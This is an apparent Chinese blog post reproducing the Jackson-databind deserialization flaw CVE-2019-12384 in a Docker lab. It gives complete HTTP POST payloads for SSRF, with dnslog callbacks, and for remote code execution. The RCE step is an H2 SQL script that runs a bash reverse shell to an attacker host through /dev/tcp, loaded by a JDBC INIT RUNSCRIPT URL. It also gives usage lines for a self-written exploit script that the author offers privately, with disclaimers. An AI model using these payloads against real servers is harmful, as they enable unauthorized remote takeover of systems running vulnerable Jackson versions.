一、环境搭建:
下载漏洞环境:
git clone https://github.com/cnsimo/vu1hub.git
启动环境:
cd vu1hub/jackson/CVE-2019-12384-RCE/
docker-compose up -d
访问8080端口
二、漏洞描述:
当Jackson库对 JSON 进行反序列化的时候,存在反序列化漏洞,控制好反序列化的类,就能触发服务端请求伪造(SSRF)和远程代码执行漏洞(RCE)
影响版本:Jackson-databind 2.X < 2.9.9.1
三、漏洞复现:
1、ssrf:
POST /fuckme HTTP/1.1
Host: 192.168.136.131:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 109
poc=["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:tcp://192.168.136.129:7777/"}]
发送上面的post数据包,kali开启监听,成功收到来自目标服务器的请求
或者直接使用dnslog验证:
poc=["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:tcp://jcqfpe.dnslog.cn/"}]
2、RCE:
首先在vps上放置一个.sql的文件,内容如下:
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('bash -i >& /dev/tcp/192.168.136.129/7777 0>&1')
然后发送payload,请求远程的sql文件,进行RCE
POST /fuckme HTTP/1.1
Host: 192.168.136.131:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 164
poc=["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://192.168.136.129/exp.sql'"}]
成功反弹shell:
四、自动化利用exp(自写)
ssrf漏洞验证:
1、使用dnslog平台:
python3 CVE-2019-12384_EXP.py http://192.168.136.131:8080 -f check -d 7y7alx.dnslog.cn
2、使用你的vps:
python3 CVE-2019-12384_EXP.py http://192.168.136.131:8080 -f check -d 192.168.136.129:7777
反弹shell:
python3 CVE-2019-12384_EXP.py http://192.168.136.131:8080 -f rshell -sql http://192.168.136.129/exp.sql
需要使用-s指定sql文件的路径
成功反弹shell:
脚本已经打包好了,需要的看官后台留言:jacksonssrf exp,链接有效期为7天,请注意保存,请仅用于学习研究!
各位师傅可以加好友一起学习交流交个朋友,如果之前分享的exp失效了,也可以加我好友py一下:qq:1254311935
备注:公众号+师傅们的id吧
注意:脚本仅作为学习和讨论使用,禁止利用其进行任何违法行为,与作者无关!
注意:脚本仅作为学习和讨论使用,禁止利用其进行任何违法行为,与作者无关!
注意:脚本仅作为学习和讨论使用,禁止利用其进行任何违法行为,与作者无关!
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论